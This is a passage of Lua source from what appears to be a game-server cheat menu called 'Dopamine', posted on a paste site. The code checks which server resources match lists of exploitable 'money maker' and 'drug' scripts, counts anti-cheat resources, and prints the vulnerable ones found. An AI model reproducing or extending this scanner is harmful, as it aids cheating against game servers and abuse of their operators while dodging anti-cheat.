  6205. if Dopamine.functions.doesResourceExist(exploitablesMoneyMaker[i]) then
  6206. table.insert(totalExploitablesTable, exploitablesMoneyMaker[i])
  6207. totalExploitableMoneyMaker = totalExploitableMoneyMaker + 1
  6208. end
  6209. end
  6210. for i=1, #exploitablesDrugs do
  6211. if Dopamine.functions.doesResourceExist(exploitablesDrugs[i]) then
  6212. table.insert(totalExploitablesTable, exploitablesDrugs[i])
  6213. totalExploitableDrugs = totalExploitableDrugs + 1
  6214. end
  6215. end
  6216. for i=1, #veriScaryAntiCheats do
  6217. if Dopamine.functions.doesResourceExist(veriScaryAntiCheats[i]) then
  6218. totalAnticheats = totalAnticheats + 1
  6219. end
  6220. end
  6221.  
  6222. dir_print('Vulnerable resource found: '..json.encode(totalExploitablesTable))
  6223. dir_print('Anticheats: '..totalAnticheats)
  6224. dir_print(
  6225. '\nTotal Exploitables:\n'..
  6226. ' Moneymaker: '..totalExploitableMoneyMaker..'\n'..
  6227. ' Drugs: '..totalExploitableDrugs..'\n'
  6228. )
  6229. end]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement